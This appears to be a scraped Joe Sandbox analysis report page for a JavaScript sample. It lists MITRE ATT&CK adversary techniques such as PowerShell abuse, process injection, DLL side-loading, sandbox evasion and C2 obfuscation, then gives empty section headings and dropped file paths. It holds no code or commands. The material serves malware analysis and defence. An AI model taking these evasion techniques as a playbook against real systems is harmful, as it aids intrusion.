Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2556095152538830312.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\40a132e7-aa8e-4e50-bd53-ab470698f1fa.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF597a4f.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e65b6aa8-7d68-4d2e-b28b-d1beb3c25f47.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2556095152538830312.js